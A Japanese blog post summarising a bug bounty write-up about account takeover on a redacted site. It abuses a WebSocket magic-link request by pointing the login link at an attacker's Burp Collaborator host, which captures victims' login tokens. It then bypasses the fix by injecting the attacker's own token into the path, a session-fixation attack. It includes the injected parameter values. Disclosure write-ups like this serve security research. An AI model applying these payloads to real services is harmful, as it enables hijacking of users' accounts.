Hello there, ('ω')ノ
アカウントの乗っ取り+ボーナスの脆弱性を。
脆弱性:
アカウントの乗っ取り
セッション固定
記事:
https://medium.com/@kalvik/account-takeover-a-bonus-vulnerability-3c2dc4e607ea
今回は、redacted.comのアカウントをどのように引き継ぐことができたかを。
この攻撃はホストヘッダインジェクションと非常によく似ていますが。
アプリはWebSocketを使用していたため、少し異なって。
ログインポータルには、ユーザが自分の電子メールへのログインリンクを。
要求することでログインできる機能があったので。
ユーザは受信したリンクをクリックするだけで。
パスワードなしで自動的でログインできて。
そこで、被害者のアカウントで[ログインリンクを送信]をクリックすると。
WebSocketリクエストは次のようになって。
「params」には、メールアドレスとリンクの2つのパラメータがあって。
[\”victim@victim.com\”,\”https://www.redacted.com/login\”]
被害者が受け取ったログインリンクは下記のとおりで。
“https://www.redacted.com/login?quickLogin=XXXXXXXXXXXXXXXXXXXX”
リンクの最初の部分がWebSocketリクエストの場合と同じだったので。
パラメータのリンクを下記のように変更してリクエストを送信すると。
[\”victim@victim.com\”,\”mycollarboratorlink.net\”]
被害者がメールで受け取ったリンクは、下記のとおりで。
ログインリンクがBurpのコラボレータリンクに変更されていて。
被害者がこれをクリックするとBurpのコラボレータに。
被害者のログインコードが表示されるので。
これで取得したログインコードを下記に追加することで。
任意のアカウントを引き継ぐことができるわけで。
“https://www.redacter.com/login?quickLogin=”
もう1つは、アプリでプロフィールセクションのメールを変更できることで。
被害者のアカウントをログに記録した後に。
攻撃者は電子メールとその永続的なアカウントの乗っ取りも変更できて。
また、ボーナスの脆弱性とは何かというと。
上記の脆弱性が修正さたリクエストが次のようになっていて。
攻撃者がリンク内のホストを変更できないようになっていて。
つまり、リクエストに“https://www.redacted.com/”がなくて。
“/login”のみが含まれていて。
このリクエストを送信したときに受け取ったリンクは。
下記のようなホストアドレスとの組み合わせで。
最初と最後の部分は、アプリによってバックエンドに自動的に追加されていて。
“https://www.redacted.com”+“/login/“+“quickLogin=XXXXXXXXXXXXXXXXXXXXXXXX”
さて、まだ「/login」は自分の制御下にあるので変更できるわけで。
そこで、攻撃者のアカウントにログインリンクをリクエストして。
攻撃者のログイントークンをコピーして、リクエストを下記のように変更すると。
“/login” ⇨ “/login?quickLogin=attackers_token?ref=\”
このリクエストを送信したときに。
被害者がメールで受け取ったリンクは下記のとおりで。
攻撃者のログイントークンがリンクに追加されていることが確認できて。
被害者がこのリンクをクリックすると、攻撃者のアカウントにログインすることに。
このようにして、2つの異なる方法で単一の脆弱性を悪用することができて。
Best regards, (^^ゞ